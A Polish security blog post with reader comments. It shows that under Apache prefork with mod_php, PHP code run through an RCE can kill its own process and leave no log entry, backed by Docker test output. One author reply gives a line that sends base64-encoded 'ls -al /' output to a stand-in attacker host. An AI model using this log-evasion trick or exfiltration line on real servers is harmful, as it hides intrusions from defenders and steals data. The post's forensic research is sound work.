Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Dlaczego nie zawsze można ufać logom serwera WWW?

16 lipca 2018, 11:34 | Aktualności | komentarzy 15

Nakreślenie sytuacji

Przypuśćmy, że dokonujemy analizy powłamaniowej serwera i udaje się stwierdzić następujące fakty:

  • dostęp z zewnątrz możliwy jest jedynie poprzez aplikację webową, a serwer WWW jest uruchomiony z uprawnieniami nieuprzywilejowanego użytkownika,
  • aplikacja jest nieaktualna i zawiera publicznie znaną podatność RCE (zdalne wykonanie kodu),
  • pliki access_log, error_log mają odpowiednie uprawnienia i nie ma w nich śladów wykorzystania podatności.

Czy w takiej sytuacji możemy sądzić, że wektor ataku był inny? Okazuje się, że niekoniecznie, ponieważ możliwe jest, że atakujący zdobył root’a i zmodyfikował logi. Co jednak w przypadku gdy serwer jest odpowiednio skonfigurowany i wykluczymy taką możliwość? Mogłoby się wydawać, że należy szukać gdzie indziej, jednak ja zadałem sobie pytanie: co jeśli zapytania nie zostały zalogowane? Pytanie może wydać się absurdalne, jednak podszedłem do tematu poważnie.

Poszukiwanie odpowiedzi w internecie

Pierwszym krokiem był research w internecie, a jedynym punktem zaczepienia było pytanie na StackOverflow. Autor pytał o możliwość, w której serwer nie loguje niektórych zapytań, jednakże nie została udzielona żadna odpowiedź.

Poszukiwanie odpowiedzi na własną rękę

Przystąpiłem do działań samemu: udałem się do dokumentacji Apache, aby dowiedzieć się więcej o pliku access_log. Już pierwsze zdanie okazało się ciekawe:

The server access log records all requests processed by the server.

Dla weryfikacji sprawdziłem jeszcze dokumentacje nginxa a tam:

NGINX writes information about client requests in the access log right after the request is processed.

Możemy z tego wywnioskować, że logi zapisywane są jedynie dla zapytań, które zostały przetworzone (processed). Potwierdza to również przykładowy wpis:

127.0.0.1 - - [13/Jul/2018:07:14:12 +0000] "GET /index.php HTTP/1.1" 200 29

Liczba 200 oznacza status, zatem spróbujmy znaleźć sytuację, w której serwer przerwie przetwarzanie i nie zwróci żadnej odpowiedzi.

Środowisko testowe

Wybieramy najłatwiejszą i bodajże najpopularniejszą konfigurację serwera WWW: Apache + PHP, gdzie Apache korzysta z MPM’a typu prefork i komunikuje się z PHP za pomocą wbudowanego modułu.

Rozważmy różne sposoby przerwania przetwarzania kodu:

  • błąd składni
  • rzucenie wyjątku
  • exit()
  • die()
  • tiggererror() trigger_error()
  • __haltcompiler()
  • zabicie procesu (np. przez samego siebie)

Dla każdego sposobu przygotowany zostaje plik, przykładowo 01_syntaxerror.php:

<?php
asd
echo "This line should not be executed!";

Całość zostaje zamknięta w kontenerach Dockerowych, z przekierowaniem plików access_log, error_log na standardowe wyjście. Do tego zostają dodane skrypty, które umożliwiają pełną automatyzację testów. Użyty kod dostępny jest w publicznym repozytorium andrzej1_1/rce-weblogs-bypass.

Testy

Uruchomienie skryptu run.sh zwraca. następujące logi:

apache_prefork-mod_php_1  | Testing started
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 01_syntaxerror.php
   apache_prefork-mod_php_1  | [Sat Jul 14 11:18:04.230715 2018] [php7:emerg] [pid 14] [client 127.0.0.1:33806] PHP Parse error:  syntax error, unexpected 'echo' (T_ECHO) in /srv/http/01_syntaxerror.php on line 3
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:04 +0000] "GET /01_syntaxerror.php HTTP/1.1" 500 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 02_exception.php
   apache_prefork-mod_php_1  | [Sat Jul 14 11:18:05.239377 2018] [php7:error] [pid 17] [client 127.0.0.1:33808] PHP Fatal error:  Uncaught Exception: error in /srv/http/02_exception.php:2\nStack trace:\n#0 {main}\n thrown in /srv/http/02_exception.php on line 2
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:05 +0000] "GET /02_exception.php HTTP/1.1" 500 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 03_exit.php
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:06 +0000] "GET /03_exit.php HTTP/1.1" 200 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 04_die.php
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:07 +0000] "GET /04_die.php HTTP/1.1" 200 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 05_triggererror.php
   apache_prefork-mod_php_1  | [Sat Jul 14 11:18:08.262572 2018] [php7:error] [pid 18] [client 127.0.0.1:33814] PHP Fatal error:  Cannot divide by zero in /srv/http/05_triggererror.php on line 2
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:08 +0000] "GET /05_triggererror.php HTTP/1.1" 500 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 06_haltcompiler.php
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:09 +0000] "GET /06_haltcompiler.php HTTP/1.1" 200 -
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 07_selfkill.php
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | # Testing 99_base.php
   apache_prefork-mod_php_1  | 127.0.0.1 - - [14/Jul/2018:11:18:12 +0000] "GET /99_base.php HTTP/1.1" 200 29
   apache_prefork-mod_php_1  | ------------
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  |
   apache_prefork-mod_php_1  | All files has been tested!

Jak widać, większość skryptów pozostawiła za sobą ślad, a tylko 07_selfkill.php nie poskutkował powstaniem żadnego wpisu. Oto jego zawartość:

<?php
exec('kill ' . getmypid());
echo "This line should not be executed!";

Działanie kodu jest proste: na aktualnym procesie wykonywane jest polecenie kill.

Dalsze testy

Udało się wykonać skrypt, który nie zostawił żadnego śladu, jednakże warto zweryfikować czy w przypadku innych konfiguracji zachowanie będzie identyczne. Innych sposobów na uruchomienie serwera obsługującego PHP jest wiele, gdyż mamy do wyboru różne serwery i interfejsy do komunikacji. W przypadku Apache’a dodatkowo możemy wybrać różne moduły przetwarzania (MPMs), z których stabilne są prefork, worker i event. Z racji ogromu możliwości, przetestujemy najpopularniejsze z nich:

  1. Apache (prefork MPM) + mod_php (tę konfigurację już przetestowaliśmy)
  2. Apache (prefork MPM) + FastCGI
  3. Apache (worker MPM) + FastCGI
  4. Apache (event MPM) + FastCGI
  5. Apache (prefork MPM) + FPM
  6. Apache (worker MPM) + FPM
  7. Apache (event MPM) + FPM
  8. nginx + FastCGI
  9. nginx + FPM

Do każdej konfiguracji został stworzony osobny kontener, a uruchomienie skryptu run.sh powoduje przetestowanie każdej z nich i wygenerowanie rezultatów w postaci plików z logami.

Jednakże po uruchomieniu testów i przejrzeniu rezultatów okazuje się, że wszystkie konfiguracje poza pierwszą są „odporne” na rozważone metody.

Wnioski

Z testów wynika, że konfiguracja Apache z modułem prefork oraz mod_php pozwala na obejście logowania zapytań, w przypadku gdy mamy do czynienia z podatnością RCE. Na pewno nie jest to często spotykana sytuacja, aczkolwiek warto wiedzieć, że taki „trik” istnieje.

– Andrzej Broński, hackuje w Securitum

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Dlatego:

    1) logujesz zapytania za pomocą np. Bro (z ruchu sieciowego do serwerów WWW)
    2) logujesz zapytania na poziomie proxy przed serwerami WWW (często stosowane w cale np. cache’owania statycznego contentu)
    3) logujesz ruch sieciowy do pcap, który w trybie ciągły, okresowym lub ad-hoc jest procesowany przez Bro, konwertując ruch do pliku http.log.

    Rozwiązanie nr 1 i nr 3 sprawia, że bez względu na to jak różne są serwery WWW i jak różna jest ich konfiguracja oraz format/zawartość logów, to mamy zunifikowany względem formatu i zawartości plik http.log.

    Dodatkowo takie rozwiązanie pozwala na analizę powłamaniową nawet jeśli serwer WWW został skutecznie zaatakowany, a logi uszkodzone/usunięte.

    Odpowiedz
  2. Trom

    Przy okazji jakie rozwiazania na zdalne logi polecacie? Fajnie cos w chmurze jakby bylo ;)

    Odpowiedz
  3. Mojaladka

    Drogi Sekuraku,
    wielki plus za udostepnienie takiej ciekawostki, szkoda ze tak rzadko. Merytoryka – szacun. Daj wiecej

    Odpowiedz
  4. oioi

    triki podane na lśniącej tacy, właśnie za to lubie sekuraka :)

    Odpowiedz
  5. Imie

    A czemu w php, exec nie jest wylaczone?

    Odpowiedz
    • Andrzej

      Celem było zbadanie najpopularniejszych konfiguracji serwera, a domyślnie funkcje typu exec() nie są wyłączone.

      Odpowiedz
  6. M

    jest chyba błąd w pisowni:

    tiggererror()

    nie chodzi przypadkiem o funkcję „trigger_error()”?

    Odpowiedz
    • Marcin Piosek

      Zgadza się, poprawione.

      Odpowiedz
  7. To ma nie tyle związek ze sposobem uruchamiania procesów PHP, co z uprawnieniami na jakich są te procesy uruchamiane. Podejrzewam że na każdej konfiguracji udałoby się coś takiego osiągnąć gdyby procesy PHP i webserwer działały na tym samym użytkowniku, a proces PHP spróbowałby ubić webserwer zamiast samego siebie. W przypadku mod_php jest najprościej, bo tu nie ma podziału na PHP i webserwer i wszystko jest w jednym procesie, ale jeśli ktoś skopie kwestię uprawnień, to prawdopodobnie każda wymieniona tu konfiguracja może być podatna na ten sam atak.

    Odpowiedz
    • Andrzej

      Zarówno w przypadku mod_php jak i innych konfiguracji występuje podział na osobne procesy. Zwróc uwagę, że domyślnie działają one na innych użytkownikach:
      – główny proces serwera (master): konto root
      – procesy zajmujące się przetwarzaniem zapytań (workers): nieuprzywilejowane konto, np. http
      Tak więc, ktoś musiałby się nieźle wysilić, żeby skopać konfiguracje i umożliwić ubicie całego webserwera.

      Odpowiedz
      • Nie musisz ubijać całego webserwera, wystarczy ubić proces, który przetwarza to aktualne żądanie (tak samo jak w przypadku mod_php też nie ubijasz całego webserwera a konkretny proces obsługujący żądanie). Ten proces będzie na nieuprzywilejowanym użytkowniku i potencjalnie tym samym co proces PHP (np na Ubuntu w domyślnej konfiguracji apache i php-fpm działają na tym samym użytkowniku – www-data). Z perspektywy uprawnień i sposobu działania sytuacja nie różni się niczym od ubicia samego siebie przez proces z mod_php (poza tym że nie znamy ID procesu więc pewnie trzeba próbować ubijać wszystkie procesy webserwera z pasującym użytkownikiem).

        Odpowiedz
  8. aaa

    Wrzućcie linki do bugreportów w apache/php… bo zakładam, że problem zgłoszony?

    Wydaje się, że kill na procesie (apache+mod_php) jest do ogarnięcia bo rodzicowi apache od tak zniknie proces (a informacje o dzieciach trzyma w scoreboardzie). Mógłby to apache logować.

    Odpowiedz
    • Andrzej

      Sam też się dziwię, że główny process Apache’a nie loguje tego że ginie mu proces potomny.

      Linków póki co nie będzie, ponieważ nie było dla mnie jasne czy traktować to jako zwykły bug, czy może dość specyficzną lukę bezpieczeństwa i ostatecznie zdecydowałem się na niepubliczne zgłoszenia. Artykuł będzie aktualizowany, gdy zmieni się ich status.

      Odpowiedz
  9. A czy coś oprócz `exec(’kill ’ . getmypid());` można wykonać i nie będzie to zalogowane ?

    Odpowiedz
    • Andrzej

      Tak, wcześniej można wykonać dowolny kod, np. taki który wyśle nam wylistowaną zawartość głównego katalogu:

      $cmd_result = shell_exec('ls -al /');
      file_get_contents("https://hacker.site/" . base64_encode($cmd_result));

      Odpowiedz

Odpowiedz